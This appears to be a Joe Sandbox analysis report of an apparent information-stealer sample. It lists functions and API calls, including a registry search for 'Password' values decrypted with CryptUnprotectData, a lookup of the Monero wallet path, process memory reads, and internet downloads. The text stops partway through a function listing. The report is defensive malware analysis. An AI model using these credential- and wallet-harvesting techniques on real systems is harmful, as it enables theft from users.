Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: c5f3014d1c2894d659b2210e23f2e238cab80958508c9c6154f8498a4b02229e
Instruction ID: 35b36993dc3354851a6aac52ed0d4e265979dc687566dcb4c8a8f94b5c32024c
Opcode Fuzzy Hash: c5f3014d1c2894d659b2210e23f2e238cab80958508c9c6154f8498a4b02229e
Instruction Fuzzy Hash: 5991B574600A019FE770BFA8DC48F663EB5BB84704F50461AED06A7261EF79DD81CB92

Function 005A2380 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 229stringCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000,?,00000000), ref: 005A2391
lstrcpy.KERNEL32(00000000,005AD014), ref: 005A23CC
OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 005A23DD
memset.MSVCRT ref: 005A2405
ReadProcessMemory.KERNEL32(00000000,00000000,00000000,00000208,00000000), ref: 005A245C
lstrlenA.KERNEL32(00000000), ref: 005A2469
lstrcpy.KERNEL32(00000000,00000000), ref: 005A24F0
lstrlenA.KERNEL32(00000000), ref: 005A24F7
strlen.MSVCRT ref: 005A251B
memset.MSVCRT ref: 005A25A5
??_V@YAXPAX@Z.MSVCRT(a&Z), ref: 005A25F2

Strings

JY, xrefs: 005A25AD, 005A25BE
a&Z, xrefs: 005A25AA, 005A25EE, 005A25BD, 005A25F1

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: Processlstrcpylstrlenmemset$MemoryOpenReadstrlen
String ID: JY$a&Z
API String ID: 311138045-2617940498
Opcode ID: d1b398877e00f90f5cf0017bf01d9dc85bf120632999166dc3ea76ec9558445c
Instruction ID: 50a9d23ba60b20e1320d91a0045fec7c3165f532ee0e47fa277a5c9f45bd3540
Opcode Fuzzy Hash: d1b398877e00f90f5cf0017bf01d9dc85bf120632999166dc3ea76ec9558445c
Instruction Fuzzy Hash: 4781D370E0020A9BDF14DF98DC49BAEBFB5FF89310F148169EA04A7281EB359945CB95

Function 00587710 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 202stringregistrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00587745
RegEnumValueA.ADVAPI32(80000001,00000000,?,?,00000000,?,?,?,?,00000000,00020019,?), ref: 0058778A
strlen.MSVCRT ref: 005877BE
StrStrA.SHLWAPI(?,Password), ref: 005877F8
strlen.MSVCRT ref: 0058788D

Part of subcall function 00587690: GetProcessHeap.KERNEL32(00000008,00000400), ref: 0058769E
Part of subcall function 00587690: HeapAlloc.KERNEL32(00000000), ref: 005876A5
Part of subcall function 00587690: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 005876CD
Part of subcall function 00587690: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000400,00000000,00000000), ref: 005876ED
Part of subcall function 00587690: LocalFree.KERNEL32(?), ref: 005876F7

strcpy_s.MSVCRT ref: 00587821
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0058782C
HeapFree.KERNEL32(00000000), ref: 00587833
strlen.MSVCRT ref: 00587840
strcpy_s.MSVCRT ref: 0058786A
strlen.MSVCRT ref: 005878B4
RegEnumValueA.ADVAPI32(80000001,00000000,?,000000FF,00000000,00000003,?,?,80000001), ref: 00587975

Strings

Password, xrefs: 005877EC

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: Heapstrlen$EnumFreeProcessValuestrcpy_s$AllocByteCharCryptDataLocalMultiOpenUnprotectWide
String ID: Password
API String ID: 3893107980-3434357891
Opcode ID: 0efd028897254995e6b549d9a7333d9c1e8f2b2ef838584234089a1a5668ba98
Instruction ID: eaf1291d4037eba2527a007c3f8e96a769fae504c9981360bccc15046957cd18
Opcode Fuzzy Hash: 0efd028897254995e6b549d9a7333d9c1e8f2b2ef838584234089a1a5668ba98
Instruction Fuzzy Hash: A3810EB5D0021D9FDB10DF94DC84AEEBBB9FB48300F10856AEA15B7250EB359A45CFA1

Function 0058BCE9 Relevance: 18.2, APIs: 12, Instructions: 249stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 0058BD0F
lstrlenA.KERNEL32(00000000), ref: 0058BD42
lstrcpy.KERNEL32(00000000,00000000), ref: 0058BD6C
lstrcatA.KERNEL32(00000000,00000000), ref: 0058BD74
lstrcpy.KERNEL32(00000000,00000000), ref: 0058BD9C
lstrlenA.KERNEL32(005B5094), ref: 0058BE13

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: d7e96217d20e71cbb3420e113156365fd3f2d42570854484c7c20738299ad80b
Instruction ID: 91dca0a635d1cb4c8cc38c521b94f2dd7a5480f1bba2e1640081143c6cba983c
Opcode Fuzzy Hash: d7e96217d20e71cbb3420e113156365fd3f2d42570854484c7c20738299ad80b
Instruction Fuzzy Hash: 8AA12C30A0120A9FDB14EF68C94DBAE7FF8BF44704F188169E915AB261DB35DC42CB54

Function 0059E0C0 Relevance: 16.7, APIs: 11, Instructions: 175stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,011E0400), ref: 0059E12D
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0059E157
lstrcpy.KERNEL32(00000000,?), ref: 0059E18F
lstrcatA.KERNEL32(?,00000000), ref: 0059E19D
lstrcatA.KERNEL32(?,?), ref: 0059E1B8
lstrcatA.KERNEL32(?,?), ref: 0059E1CC
lstrcatA.KERNEL32(?,011DB828), ref: 0059E1E0
lstrcatA.KERNEL32(?,?), ref: 0059E1F4
lstrcatA.KERNEL32(?,011E0CB8), ref: 0059E207
lstrcpy.KERNEL32(00000000,?), ref: 0059E23F
GetFileAttributesA.KERNELBASE(00000000), ref: 0059E246

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$AttributesFileFolderPath
String ID:
API String ID: 4230089145-0
Opcode ID: 1dad4fd68f1ac7d37f8612ceafa95f1f7b9bfb6214f5ec979ec3bb9e845cfff4
Instruction ID: 599de97d6b33a1b35b8cabf3d4b10c42d39546dc3d1302033b67ab1f8fdf4d26
Opcode Fuzzy Hash: 1dad4fd68f1ac7d37f8612ceafa95f1f7b9bfb6214f5ec979ec3bb9e845cfff4
Instruction Fuzzy Hash: C261AD7590011DEBCF54EB64CD49BDDBBB8BF88300F1089A5EA59A3250DA34AF85CF50

Function 00586A10 Relevance: 16.6, APIs: 11, Instructions: 127networkfilestringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 00586A3F
InternetOpenA.WININET(005AD014,00000001,00000000,00000000,00000000), ref: 00586A6C
StrCmpCA.SHLWAPI(?,011DD658), ref: 00586A8A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,-00800100,00000000), ref: 00586AAA
CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00586AC8
InternetReadFile.WININET(00000000,?,00000400,?), ref: 00586AE1
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00586B06
InternetReadFile.WININET(00000000,?,00000400,?), ref: 00586B30
CloseHandle.KERNEL32(00000000), ref: 00586B50
InternetCloseHandle.WININET(00000000), ref: 00586B57
InternetCloseHandle.WININET(?), ref: 00586B61

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: Internet$File$CloseHandle$OpenRead$CreateWritelstrcpy
String ID:
API String ID: 2500263513-0
Opcode ID: 42ce1855159c7a286b5930174b8dbda73999721bddf6de23071f0d5152604736
Instruction ID: 46adcb4fe42230782497ed2536ed3d142555c37fc581f1fa002f4c138bdf2374
Opcode Fuzzy Hash: 42ce1855159c7a286b5930174b8dbda73999721bddf6de23071f0d5152604736
Instruction Fuzzy Hash: 7B417E71A00215ABDB60EB64DC89FAE7BB8BB44705F108554FA05F7180EF74A9408BA9

Function 005879A0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 109stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00587710: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00587745
Part of subcall function 00587710: RegEnumValueA.ADVAPI32(80000001,00000000,?,?,00000000,?,?,?,?,00000000,00020019,?), ref: 0058778A
Part of subcall function 00587710: strlen.MSVCRT ref: 005877BE
Part of subcall function 00587710: StrStrA.SHLWAPI(?,Password), ref: 005877F8
Part of subcall function 00587710: strcpy_s.MSVCRT ref: 00587821
Part of subcall function 00587710: GetProcessHeap.KERNEL32(00000000,00000000), ref: 0058782C
Part of subcall function 00587710: HeapFree.KERNEL32(00000000), ref: 00587833
Part of subcall function 00587710: strlen.MSVCRT ref: 00587840

lstrcatA.KERNEL32(0FCE8020,005B5094), ref: 005879D0
lstrcatA.KERNEL32(0FCE8020,?), ref: 005879FD
lstrcatA.KERNEL32(0FCE8020, : ), ref: 00587A0F
lstrcatA.KERNEL32(0FCE8020,?), ref: 00587A30
wsprintfA.USER32 ref: 00587A50
lstrcpy.KERNEL32(00000000,?), ref: 00587A79
lstrcatA.KERNEL32(0FCE8020,00000000), ref: 00587A87
lstrcatA.KERNEL32(0FCE8020,005B5094), ref: 00587AA0

Strings

: , xrefs: 00587A09

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcat$Heapstrlen$EnumFreeOpenProcessValuelstrcpystrcpy_swsprintf
String ID: :
API String ID: 2460923012-3653984579
Opcode ID: 5f06811fe49bb5c17e12abee1f93df6cd23573421f7bcc412b0dbe1a268f1a7d
Instruction ID: 52d44b5fc5ada4ce8fae52a5532f9ec5179a23e1026e5c6784320ac2eebf2430
Opcode Fuzzy Hash: 5f06811fe49bb5c17e12abee1f93df6cd23573421f7bcc412b0dbe1a268f1a7d
Instruction Fuzzy Hash: 56318B769042199FCB14FB68DC84EAFBF79FB88700B244619EA55B3200DB74E941C795

Function 0059E169 Relevance: 13.6, APIs: 9, Instructions: 124stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0059E18F
lstrcatA.KERNEL32(?,00000000), ref: 0059E19D
lstrcatA.KERNEL32(?,?), ref: 0059E1B8
lstrcatA.KERNEL32(?,?), ref: 0059E1CC
lstrcatA.KERNEL32(?,011DB828), ref: 0059E1E0
lstrcatA.KERNEL32(?,?), ref: 0059E1F4
lstrcatA.KERNEL32(?,011E0CB8), ref: 0059E207
lstrcpy.KERNEL32(00000000,?), ref: 0059E23F
GetFileAttributesA.KERNELBASE(00000000), ref: 0059E246

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$AttributesFile
String ID:
API String ID: 3428472996-0
Opcode ID: 52d7ec709525c0b85b521ea90534d73d526880b96a569ac27557b6bc270affe1
Instruction ID: 87863b3e43955fdd53e6fc6a3f1426fe714b2ec1dfadcfb4f4e93df8e12e5c65
Opcode Fuzzy Hash: 52d7ec709525c0b85b521ea90534d73d526880b96a569ac27557b6bc270affe1
Instruction Fuzzy Hash: 09419E7591011DDBCF14EBA8CC49ADD7BB8BF88300F108AA5FA59A3251DB349F858F90

Function 005A26E0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,?,011D3BE8), ref: 005A271B
GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,005AA470,00000000,00000000,00000000,00000000,?,011D3BE8), ref: 005A274C
GetProcessHeap.KERNEL32(00000000,00000104,?,011D3BE8), ref: 005A27AF
HeapAlloc.KERNEL32(00000000,?,011D3BE8), ref: 005A27B6
wsprintfA.USER32 ref: 005A27DB

Strings

:\, xrefs: 005A2735
C, xrefs: 005A2725

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowswsprintf
String ID: :\$C
API String ID: 1325379522-3309953409
Opcode ID: 36cf00d64fbf01c21b9fcf12c1cb9320ff8e7955a6f72059a74c7e0cc19d9073
Instruction ID: b19d7144a0a8fefc05e6d278a3dc42b53b9674e9795a9049033b04e5bb32af05
Opcode Fuzzy Hash: 36cf00d64fbf01c21b9fcf12c1cb9320ff8e7955a6f72059a74c7e0cc19d9073
Instruction Fuzzy Hash: 56318FB19082099FCB04CFB89A85AEEBFBCFF5D700F004169E505E7650E2348B00CBA5

Function 00581000 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 37registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00581015
HeapAlloc.KERNEL32(00000000), ref: 0058101C
RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,?), ref: 00581039
RegQueryValueExA.ADVAPI32(?,wallet_path,00000000,00000000,00000000,000000FF), ref: 00581053
RegCloseKey.ADVAPI32(?), ref: 0058105D

Strings

SOFTWARE\monero-project\monero-core, xrefs: 0058102F
wallet_path, xrefs: 0058104D

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: SOFTWARE\monero-project\monero-core$wallet_path
API String ID: 3466090806-4244082812
Opcode ID: 5a308d65ecd33ce697d479bde218a88636feba1b2f3f42c87fa98660aa356b69
Instruction ID: a9d8c997ef2980b29aca40f1fc0e60edf75362406f7215553cdf15ad9028f018
Opcode Fuzzy Hash: 5a308d65ecd33ce697d479bde218a88636feba1b2f3f42c87fa98660aa356b69
Instruction Fuzzy Hash: 64F09075640309BFD700ABE09C8EFEB7B3CEB04711F104254FF04E2281E6B46A5487A4

Function 005919B0 Relevance: 12.1, APIs: 8, Instructions: 145stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,?), ref: 005919B9
lstrcpy.KERNEL32(00000000,?), ref: 005919E2
lstrcpy.KERNEL32(00000000,?), ref: 00591A0B
lstrcpy.KERNEL32(00000000,?), ref: 00591B24
lstrcpy.KERNEL32(00000000,?), ref: 00591B58
lstrcpy.KERNEL32(00000000,?), ref: 00591B93

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 37918f8934172755de366640dba141530fbb5ad1315934c0204fd37453e32897
Instruction ID: 8002a2b7a7f56a3afd6cc300d1d1a8ea787da563688b2e7bde45e0623671b2f8
Opcode Fuzzy Hash: 37918f8934172755de366640dba141530fbb5ad1315934c0204fd37453e32897
Instruction Fuzzy Hash: DA512A7061160B9BDB24FF78D88EAAA7FE5BF84300F444928FC95A7251EA34DC458B85

Function 00591906 Relevance: 12.1, APIs: 8, Instructions: 140stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,?), ref: 0059190F
lstrcpy.KERNEL32(00000000,?), ref: 00591938
lstrcpy.KERNEL32(00000000,?), ref: 0059196C
lstrcpy.KERNEL32(00000000,?), ref: 00591B24
lstrcpy.KERNEL32(00000000,?), ref: 00591B58
lstrcpy.KERNEL32(00000000,?), ref: 00591B93
FindNextFileA.KERNELBASE(00000000,?), ref: 00591BBB

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindNext
String ID:
API String ID: 2017289724-0
Opcode ID: 38dc648f0be652313eb0141501eb01c9e5dea472357d2b1aea338919a132a184
Instruction ID: 1042e158750feba9cb1dd0103728a1f4167a6005ee4aee0d3fa24df48c27e6f7
Opcode Fuzzy Hash: 38dc648f0be652313eb0141501eb01c9e5dea472357d2b1aea338919a132a184
Instruction Fuzzy Hash: 7151397061170B9BDB24FF78D88EAAA7FE5BF84300F044928FC95A7251EA34DC458B85

Function 00585570 Relevance: 12.1, APIs: 8, Instructions: 112networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00585589
RtlAllocateHeap.NTDLL(00000000), ref: 00585590
InternetOpenA.WININET(005AD014,00000000,00000000,00000000,00000000), ref: 005855A6
